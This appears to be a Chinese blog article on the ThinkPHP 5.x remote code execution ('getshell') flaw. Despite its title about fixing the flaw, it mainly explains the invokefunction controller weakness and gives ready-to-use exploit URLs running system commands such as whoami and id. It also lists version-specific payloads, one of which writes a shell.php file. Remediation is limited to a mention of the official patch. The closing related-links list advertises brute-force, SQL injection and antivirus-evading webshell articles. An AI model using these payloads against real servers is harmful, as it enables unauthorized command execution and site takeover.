thinkphp代码执行getshell的漏洞解决

所属分类: 网络安全 / 脚本攻防 阅读数: 498
收藏 0 赞 0 分享

先来简单说说前天thinkphp官方修复的一个getshell漏洞,框架对控制器没有进行足够的检测导致的一处getshell

影响的范围: 5.x < 5.1.31, <= 5.0.23

漏洞危害: 导致系统被提权(你懂的)

这里附上一个自己测试的 thinkphp的 链接  http://www.thinkphp.cn/download/1260.html  版本是5.0.22

先来讲下,5.0 跟5.1的区别吧,tp5.1中引入了容器(Container)和门面(Facade)这两个新的类  tp5.0是没有这两个新的类的,

漏洞原理

URL:http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction

我们先来看看App类里的 exec函数里的执行分层控制器的操作

我们这里是把controller 的调用信息跟配置信息全部传到了 invokeFunction 这个 执行函数里面去了

因为think\App是第二个入口,在tp运行的时候就会被加载 所以用think\App里面的分层控制器的执行操作的时候,需要去调用invokeFunction这个函数。

这个函数有两个参数,如上图所示,第一个是函数的名字,第二个参数数组,比如$function传入BaiDu然后$vars传入[12,555]就相当于调用BaiDu(12,555)

此处我们把function传入call_user_func_array然后vars[0]传入我们要执行的函数的名字vars[1]传入要执行函数的参数,因为vars是个数组 所以此处我们的get请求需要这样写

vars[]=函数名&vars[1][]=参数

此处是利用php的数组注入

此时此刻就可以开始利用远程代码执行漏洞了 比如我们要执行system函数 他的参数是whoami

http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

下面你懂的,作为一个接班人我们要做的就是修复他(为所欲为?),当然官方更新的最新版本是已经修复了的

这里就代码执行成功,以下奉献上tp不同版本的payload

?s=index/\think\Request/input&filter=phpinfo&data=1
?s=index/\think\Request/input&filter=system&data=id
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=
?s=index/\think\view\driver\Php/display&content=
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持脚本之家。

更多精彩内容其他人还在看

PHP Mysql 密码暴力破解代码,本机暴力破解 3306 端口

PHP Mysql 密码暴力破解,本机暴力破解 3306 端口,源码。代码简单的不能再简单了,就不解释了,功能很简单
收藏 0 赞 0 分享

PHP+MySQL手工注入语句大全 MySQL手工注入语句总结

PHP + MySQL 手工注入语句大全,MySQL 手工注入语句总结,MySQL,注入语句。暴字段长度 匹配字段 暴字段位置 利用内置函数暴数据库信息 不用猜解可用字段暴数据库信息(有些网站不适用): 操作系统信息
收藏 0 赞 0 分享

PHP 双字节、宽字节编码漏洞

PHP 双字节、宽字节编码漏洞。看了《黑防09精华》这篇《双字节编码 php的隐形杀手》,记录一下。还是用一个demo.php显示效果
收藏 0 赞 0 分享

ODOR1–PHP extract 后门使用方法

这篇文章主要为大家介绍了PHP extract 函数后门的使用方法,大家在检查后门的时候可以多关注一下,需要的朋友可以参考下
收藏 0 赞 0 分享

过安全狗/D盾/360的PHP一句话木马与防范方法

这篇文章主要介绍了过安全狗/D盾/360的PHP一句话木马,需要的朋友可以参考下
收藏 0 赞 0 分享

分享PHP场景中getshell防御思路

本文主要分享一下防御思路。防御方案主要想解决的问题是getshell、主机敏感文件泄漏等问题
收藏 0 赞 0 分享

SQL注入测试实例分析

这篇文章主要为大家介绍了SQL注入测试实例分析,对于数据库安全非常重要,需要的朋友可以参考下
收藏 0 赞 0 分享

帝国备份王(Empirebak)万能cookie及拿shell方法与防御

这篇文章主要介绍了帝国备份王(Empirebak)万能cookie及拿shell方法与防御,需要的朋友可以参考下
收藏 0 赞 0 分享

各种网页挂马方式原理揭密(iframe挂马,script 挂马,图片伪装挂马等)

现在,网站经常被各种网页挂马,为了保障大家网站的安全和互联网用户的安全,有必要对网页挂马有所了解。查了一些资料,由于存在大量的黑客软件,一个菜鸟只需几分钟就可以编写一个木马网页,对别人的网站进行挂马了
收藏 0 赞 0 分享

SQL注入攻击(攻击与防范)

SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉
收藏 0 赞 0 分享
查看更多